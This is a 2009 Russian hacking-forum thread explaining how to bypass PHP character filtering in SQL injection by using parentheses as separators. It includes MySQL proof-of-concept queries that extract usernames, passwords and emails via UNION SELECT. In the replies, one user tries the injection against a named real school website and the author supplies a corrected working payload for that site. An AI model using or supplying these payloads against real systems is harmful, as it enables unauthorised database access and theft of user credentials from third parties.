Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Небольшой очерк 2 - Фильтрация (https://forum.antichat.xyz/showthread.php?t=125796)

.Slip 18.06.2009 00:17

Небольшой очерк 2 - Фильтрация
 
Тянет меня видимо раз в полгода писать что то подобное.
Суть очерка - показать возможность выкрутиться при sql-inj и составить нормальный запрос обходя фильтрацию спецсимволов в GPC:

-Пробел %2B, +
-Табуляция %09
-Возврат каретки %0D
-Перевод строки %0A
-Составляющие комментариев -, /, *

*Примечание: дальнейшее описание имеет смысл только если после уязвимого параметра в теле запроса нет ничего что бы могло помешать логике, и не
пришлось бы использовать комментарии

1. Например вот такой скрипт фильтрации:
PHP код:

$str str_replace('/''',
       
str_replace('*''',
       
str_replace('=''',
       
str_replace('+''',
       
str_replace(' ''',
       
str_replace('%2B''',
       
str_replace('%0B''',
       
str_replace('%09''',
       
str_replace('$0D''',
       
str_replace('%0A'''$str)))))))))); 

Видно что он всё порежет. Тут помогут скобки ( ) , с их помощью можно вообще не пользоваться какими либо другими разделителями инструкций/выражений etc.

2. PoC
Код:

mysql> select * from news;
+---------+-----------+------------+---------------+
| news_id | news_name | news_theme | news          |
+---------+-----------+------------+---------------+
|      1 | news1    | theme1    | newsnewsnews1 |
|      2 | news2    | theme2    | newsnewsnews2 |
+---------+-----------+------------+---------------+
2 rows in set
 
mysql> select * from users;
+----+----------+--------+--------------+
| id | username | pwd    | email        |
+----+----------+--------+--------------+
|  1 | admin    | 12345  | 1234@1234.ru |
|  2 | user    | qwerty | user@123.ru  |
|  3 | user1    | 0000  | ffff@fff.ru  |
+----+----------+--------+--------------+
3 rows in set

---
Код:

mysql> select news_name, news_theme, news from news where news_id=1;
Допустим параметр news_id как раз мы можем изменить, тогда:
Код:

mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(1),(2),(3));
+-----------+------------+------+
| news_name | news_theme | news |
+-----------+------------+------+
| 1        | 2          | 3    |
+-----------+------------+------+
1 row in set

Ну вы понели..
---
Код:

mysql> select news_name, news_theme, news from news where news_id=(-1)union(select(concat_ws(0x3a,id,username,pwd,email)),(concat_ws(0x3a,database(),user())),(null)from(users)where(id)like(1));
+----------------------------+---------------------+------+
| news_name                  | news_theme          | news |
+----------------------------+---------------------+------+
| 1:admin:12345:1234@1234.ru | test:root@localhost | NULL |
+----------------------------+---------------------+------+
1 row in set

Фильтр успешно обходится. Дальше только ваша фантазия.

3 ...
4 PROFIT

PS
Кстати встречались такие цмс, где приходилось обходиться скобками. Редко, но бывает.
PPS Примеров можно приводить море, но направление я дал, дальше уже и сами сможете потестить.
PPPS Если не понятна логика построения таких запросов, спрашивайте.

eof

Dimi4 18.06.2009 00:38

Мой пост можете не читать :)

Цитата:

Сообщение от .Slip
1. Например вот такой скрипт фильтрации:
PHP код:

$str str_replace('/''',
       
str_replace('*''',
       
str_replace('=''',
       
str_replace('+''',
       
str_replace(' ''',
       
str_replace('%2B''',
       
str_replace('%09''',
       
str_replace('$0D''',
       
str_replace('%0A''')))))))); 


Конечно класно, но такой код жесть) Хотя б уже сделал
PHP код:

str_replace(array("/","*","итд"), $str); 

:D

.Slip 18.06.2009 00:42

Нашли до чего доебаться, суть не в этом

c411k 18.06.2009 01:22

вообще-то боян страшный..

Spyder 18.06.2009 01:24

баян, но ладно)
Слип молодец :-*

farpost 18.06.2009 01:29

Как к примеру сюда применить?

так работает
Цитата:

http://www.tauntonschool.co.uk/foundation/index.php?id=-1'+union+select+1,2,3,4+--+
так не работает
Цитата:

http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)union(select(1),(2),(3),(4));

.Slip 18.06.2009 01:40

farpost, http://www.tauntonschool.co.uk/foundation/index.php?id=(-1)'union(select(1),(2),(3),(4))--+
Только хз зачем тебе это, я же написал что это редкий случай когда нельзя обойтись без пробела и комментариев.

Spyder 18.06.2009 01:51

кстати про %0b забыл

.Slip 18.06.2009 02:01

Добавил

Tigger 18.06.2009 02:07

Я пока ниразу не встречал, где бы это нужно было)
Но спасибо, буду знать ;)


Время: 17:19